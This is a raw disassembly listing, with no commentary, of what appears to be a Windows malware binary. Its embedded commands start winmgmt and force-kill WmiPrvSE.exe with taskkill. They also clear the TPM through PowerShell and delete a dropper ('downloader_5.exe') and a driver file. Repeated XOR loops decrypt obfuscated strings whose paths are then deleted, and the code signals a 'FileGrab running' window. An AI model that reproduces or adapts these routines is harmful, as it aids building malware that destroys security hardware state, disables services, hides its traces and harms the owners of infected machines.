mov qword [rsp + 0x78], r15
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.sc_start_winmgmt
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140044d6b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044d66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e1e
call fcn.1400aa818
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044d93
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044dbb
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044de3
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, Ordinal_32
lea rdx, str.taskkill__f__im_WmiPrvSE.exe
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140044e58
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044e53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e25
call fcn.1400aa818
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044e80
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044ea8
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044ed0
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044ef8
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044f20
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044f48
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044f70
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, Ordinal_32
lea rdx, str.Powershell__command_Clear_Tpm
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140044fe5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044fe0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e2c
call fcn.1400aa818
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x388], r15
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.del_downloader_5.exe
lea rcx, [rbp + 0x370]
call fcn.14003fdc0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], r15
mov qword [rbp + 0x288], r15
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.del_winxsrcsv64.sys
lea rcx, [rbp + 0x270]
call fcn.14003fdc0
nop
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140045071
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140045099
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400450c1
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400450e9
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rcx, [rbp + 0x2f8]
cmp qword [rbp + 0x310], 7
cmova rcx, qword [rbp + 0x2f8]
call fcn.1400aa7b0
test eax, eax
jne 0x140046f23
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [rbp + 0x2b3], 0
je 0x14004527f
mov r8d, r15d
cmp r13d, 2
jl 0x14004523d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x294]
mov edx, dword [rbp + 0x670]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140045150
cmp r8d, 0x24
jge 0x14004527f
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140045250
lea rcx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [rbp + 0x369], 0
je 0x1400453ef
mov r8d, r15d
cmp r13d, 2
jl 0x1400453ad
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x34c]
mov edx, dword [rbp + 0x670]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400452c0
cmp r8d, 0x22
jge 0x1400453ef
movsxd rax, r8d
lea r9, [rbp + 0x348]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x1400453c0
lea rcx, [rbp + 0x348]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x1401283b1], 0
mov rdx, qword [rbp + 0x288]
cmp rdx, 7
jbe 0x140045455
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004544f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e33
call fcn.1400aa818
nop
mov rdx, qword [rbp + 0x388]
cmp rdx, 7
jbe 0x14004549c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045496
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e3a
call fcn.1400aa818
nop
lea rcx, [rbp + 0x3e0]
call fcn.140047ff0
nop
lea rcx, [rbp + 0x2f8]
call fcn.140047ff0
jmp 0x1400454be
lea rdi, [0x140000000]
cmp byte [0x1401283b4], 0
je 0x1400468ba
mov qword [rbp + 0x100], rbx
mov qword [rbp + reloc.WS2_32.dll_recv8], 0x10
movaps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rsp + 0x60], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x370]
call fcn.14003fef0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f8], xmm0
mov qword [rbp + 0x308], r15
mov qword [rbp + 0x310], r15
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.C:ProgramDataEvolved
lea rcx, [rbp + 0x2f8]
call fcn.14003fcc0
nop
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x118], reloc.WS2_32.dll_recv
movaps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rsp + 0x60], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x348]
call fcn.14003fef0
nop
movups xmm0, xmmword [0x1400b5b00]
movups xmmword [rbp + 0x3a0], xmm0
movups xmm1, xmmword [0x1400b5b10]
movups xmmword [rbp + 0x3b0], xmm1
mov eax, dword [0x1400b5b20]
mov dword [rbp + 0x3c0], eax
movzx eax, word [0x1400b5b24]
mov word [rbp + 0x3c4], ax
lea rdx, [rbp + 0x4f0]
lea rcx, [rdi + 0xb5b30]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
mov byte [rdx + 0x3c], al
movups xmm0, xmmword [str.YFGD]
movups xmmword [rbp + 0x318], xmm0
movups xmm1, xmmword [0x1400b5c00]
movups xmmword [rbp + 0x328], xmm1
mov eax, dword [0x1400b5c10]
mov dword [rbp + 0x338], eax
movzx eax, word [0x1400b5c14]
mov word [rbp + 0x33c], ax
movzx eax, byte [0x1400b5c16]
mov byte [rbp + 0x33e], al
movups xmm0, xmmword [0x1400b5c18]
movups xmmword [rbp + 0x2d8], xmm0
movsd xmm0, qword [0x1400b5c28]
movsd qword [rbp + 0x2e8], xmm0
mov eax, dword [0x1400b5c30]
mov dword [rbp + 0x2f0], eax
movzx eax, word [0x1400b5c34]
mov word [rbp + 0x2f4], ax
movups xmm0, xmmword [0x1400b5c38]
movups xmmword [rbp + 0x2b8], xmm0
movsd xmm0, qword [0x1400b5c48]
movsd qword [rbp + 0x2c8], xmm0
movzx eax, word [0x1400b5c50]
mov word [rbp + 0x2d0], ax
movzx eax, byte [0x1400b5c52]
mov byte [rbp + 0x2d2], al
movups xmm0, xmmword [str.r_bocXSWNIgzRPK3]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [0x1400b5c68]
movups xmmword [rbp + 0x2a0], xmm1
movzx eax, word [0x1400b5c78]
mov word [rbp + 0x2b0], ax
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140045726
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x14004574e
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140045776
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400457a9
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
cmp byte [rbp + 0x2f5], 0
je 0x14004590f
mov r8d, r15d
cmp r13d, 2
jl 0x1400458cd
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x2dc]
mov edx, dword [rbp + 0x670]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400457e0
cmp r8d, 0x1e
jge 0x14004590f
movsxd rax, r8d
lea r9, [rbp + 0x2d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400458e0
cmp byte [rbp + 0x3c5], 0
je 0x140045a6f
mov r8d, r15d
cmp r13d, 2
jl 0x140045a2d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x3a4]
mov edx, dword [rbp + 0x670]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140045940
cmp r8d, 0x26
jge 0x140045a6f
movsxd rax, r8d
lea r9, [rbp + 0x3a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140045a40
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x3a0]
call fcn.140042330
cmp byte [rbp + 0x2d2], 0
je 0x140045bef
mov r8d, r15d
cmp r13d, 2
jl 0x140045bad
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x2bc]
mov edx, dword [rbp + 0x670]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140045ac0
cmp r8d, 0x1b
jge 0x140045bef
movsxd rax, r8d
lea r9, [rbp + 0x2b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140045bc0
cmp byte [rbp + 0x33e], 0
je 0x140045d4f
mov r8d, r15d
cmp r13d, 2
jl 0x140045d0d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x31c]
mov edx, dword [rbp + 0x670]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140045c20
cmp r8d, 0x27
jge 0x140045d4f
movsxd rax, r8d
lea r9, [rbp + 0x318]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140045d20
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x318]
call fcn.140042330
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140045d8a
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140045db2
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
cmp byte [rbp + 0x2b1], 0
je 0x140045f1f
mov r8d, r15d
cmp r13d, 2
jl 0x140045edd
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x294]
mov edx, dword [rbp + 0x670]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140045df0
cmp r8d, 0x22
jge 0x140045f1f
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140045ef0
cmp byte [rbp + 0x5ac], 0
je 0x140046082
mov r8d, r15d
cmp r13d, 2
jl 0x140046043
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x4f4]
mov edx, dword [rbp + 0x670]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
